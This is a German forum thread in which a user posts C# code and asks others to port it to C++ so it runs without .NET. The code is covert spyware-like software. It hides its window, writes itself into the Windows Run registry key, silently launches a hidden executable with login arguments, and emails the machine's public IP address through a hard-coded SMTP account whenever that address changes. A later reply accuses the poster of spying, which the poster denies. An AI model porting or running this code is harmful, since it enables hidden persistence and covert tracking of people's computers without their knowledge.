Willkommen |
|
myGully |
|
Links |
|
Forum |
|
|
|
 |
11.02.12, 18:34
|
#1
|
Newbie
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
|
C# in C++ übersetzen
hey,
da ich in der schule bisschen c# gelernt habe..habe ich sowas programmiert..sieht bestimmt für erfahrene leute etwas komisch aus aber naja es erfüllt seinen zweck...aber brauche den code in c++ und deshalb wollte ich mal fragen ob jemand es mir kurz übersetzen kann..dauert für viele bestimmt max.5min....
danke
Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using System.Net;
namespace WindowsFormsApplication2
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
this.Visible = false;
this.FormBorderStyle = FormBorderStyle.SizableToolWindow;
this.ShowInTaskbar = false;
Microsoft.Win32.RegistryKey regKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
if (regKey.GetValue("hallo") == null)
{
regKey.SetValue("hallo", Application.ExecutablePath.ToString());
}
if (File.Exists(@"C:\Windows\hallo.exe"))
{
Process p = new Process();
p.StartInfo.FileName = "hallo.exe";
p.StartInfo.Arguments = " --s_user s77 --s_password s77";
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.StartInfo.UseShellExecute = true;
p.StartInfo.RedirectStandardOutput = false;
p.Start();
p.Close();
System.Net.WebClient IPGetter = new System.Net.WebClient();
string SourceCode = IPGetter.DownloadString(@"http://www.wieistmeineip.de/");
int IPStartPosition = SourceCode.IndexOf("class=\"ip\">");
int IPEndPosition = SourceCode.IndexOf(@"</h1>", IPStartPosition);
string IP = SourceCode.Substring(IPStartPosition + ("class=\"ip\">").Length, IPEndPosition - (IPStartPosition + ("class=\"ip\">").Length));
if (File.Exists(@"C:\text.txt") == false)
{
StreamWriter myWriter = File.CreateText(@"C:\text.txt");
myWriter.WriteLine(IP.ToString());
myWriter.Close();
System.Net.Mail.SmtpClient s = new System.Net.Mail.SmtpClient("mail.gmx.net", 587);
System.Net.NetworkCredential nc = new System.Net.NetworkCredential("[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "12345");
s.EnableSsl = true;
s.UseDefaultCredentials = false;
s.Credentials = nc;
s.Send("[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "subject", IP.ToString());
}
else
{
StreamReader myReader = File.OpenText(@"C:\text.txt");
if (myReader.ReadLine() == IP)
{
}
else
{
myReader.Close();
StreamWriter myWriter = File.CreateText(@"C:\text.txt");
myWriter.WriteLine(IP.ToString());
myWriter.Close();
System.Net.Mail.SmtpClient s = new System.Net.Mail.SmtpClient("mail.gmx.net", 587);
System.Net.NetworkCredential nc = new System.Net.NetworkCredential("[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "1234");
s.EnableSsl = true;
s.UseDefaultCredentials = false;
s.Credentials = nc;
s.Send("[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "subject", IP.ToString());
}
myReader.Close();
}
}
Application.Exit();
}
}
}
|
|
|
11.02.12, 18:47
|
#2
|
Erfahrenes Mitglied
Registriert seit: Jul 2010
Beiträge: 489
Bedankt: 236
|
Visual c++?
|
|
|
11.02.12, 18:49
|
#3
|
Newbie
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
|
visual c++ basiert ja auch auf net framework oder ?
ich muss diese anwendung starten können ohne aufm rechner net frameworkzu installieren müssen..
|
|
|
11.02.12, 18:55
|
#4
|
Erfahrenes Mitglied
Registriert seit: Jul 2010
Beiträge: 489
Bedankt: 236
|
Richtig, dann kannste das auch nichtmal eben 1:1 so übersetzen, da (wie du ja schon gesagt hast) du nicht das .net framework verwenden willst/kannst.
Und hier hat eben jedes Framework andere Komponenten. Hast du denn schon eine bestimmt Entwicklungsumgebung / Bibliothek? (vcl, stl, atl, boost....?)
|
|
|
11.02.12, 19:06
|
#5
|
Newbie
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
|
also es muss nicht 1:1 übersetzt werden...die funktionsweiße soll so ungefähr übereinstimmen...
und deine 2 frage kann ich nicht wirklich beantworten..da ich sie nicht wirklich verstehe ;-) ...wie schon geschrieben habe nur so die grundlangen in c# gehabt in der schule.. mehr nicht...und sinst habe ich mich nicht so sehr damit beschäftig...
|
|
|
12.02.12, 00:48
|
#6
|
Anfänger
Registriert seit: Aug 2011
Beiträge: 2
Bedankt: 0
|
spanner
|
|
|
12.02.12, 08:05
|
#7
|
Newbie
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
|
Zitat:
Zitat von wasili_dsw
spanner
|
? was ist dein Problem...
|
|
|
12.02.12, 10:25
|
#8
|
Newbie
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
|
was soll ich bitte schön mit dem Programm anstellen können..?
habe ich euch gebeten mir ne keylogger zu übersetzten oder doch ne Virus..
|
|
|
12.02.12, 10:46
|
#9
|
Newbie
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
|
ich hab ja gesagt dass ich nur die Grundlagen drauf habe...habe die Funktion gebraucht und habe es hier rausskopiert
[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] und es nicht geändert ..brauche es nicht um die ip Adressen zu kopieren..sondern die Funktion Information ausm Internet herunterzuladen und zu speichern...ich habe fast alle befehle..soabschnittsweise ausm internet und hab es mir dann zusammen gebastelt...
und ihr meint ich könnte damit die webcams von zuhause aus ein und ausschalten? ich wusste ja nicht dass ich so gut programmieren kann^^
ihr seit ja mal brutal^^..nur weil da webcam stand und ip ^^...kannst gerne zu polizei gehen wenn du willst melde dich privat kannst dir gerne meine ip adresse geben
|
|
|
Forumregeln
|
Du kannst keine neue Themen eröffnen
Du kannst keine Antworten verfassen
Du kannst keine Anhänge posten
Du kannst nicht deine Beiträge editieren
HTML-Code ist Aus.
|
|
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 03:04 Uhr.
().
|